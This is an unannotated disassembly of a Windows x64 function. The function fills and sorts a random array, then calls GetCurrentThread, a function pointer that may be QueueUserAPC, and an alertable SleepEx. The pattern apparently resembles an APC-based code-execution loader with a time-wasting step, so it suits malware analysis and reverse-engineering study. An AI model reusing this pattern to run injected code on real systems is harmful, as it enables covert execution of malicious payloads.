mov rax, qword [rbp + 0x7d8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov ecx, 0x4f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x7e8], 0
jmp 0x1400029f6
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7e8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x640]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x13b
jle 0x1400029a9
mov dword [rbp + 0x7e8], 0
jmp 0x140002b0e
mov dword [rbp + 0x63c], 0
jmp 0x140002af0
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x63c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140002ae9
mov eax, dword [rbp + 0x63c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x638], eax
mov eax, dword [rbp + 0x7e8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, dword [rbp + 0x63c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x640]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x63c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rdx, rax
mov eax, dword [rbp + 0x638]
mov dword [rdx], eax
add dword [rbp + 0x7e8], 1
mov eax, 0x13b
sub eax, dword [rbp + 0x7e8]
cmp dword [rbp + 0x63c], eax
jl 0x140002a20
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x13b
jle 0x140002a11
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x650]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x648]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x840]
add rsp, 0x8d8
pop rbx
pop rsi
pop rdi
pop rbp
ret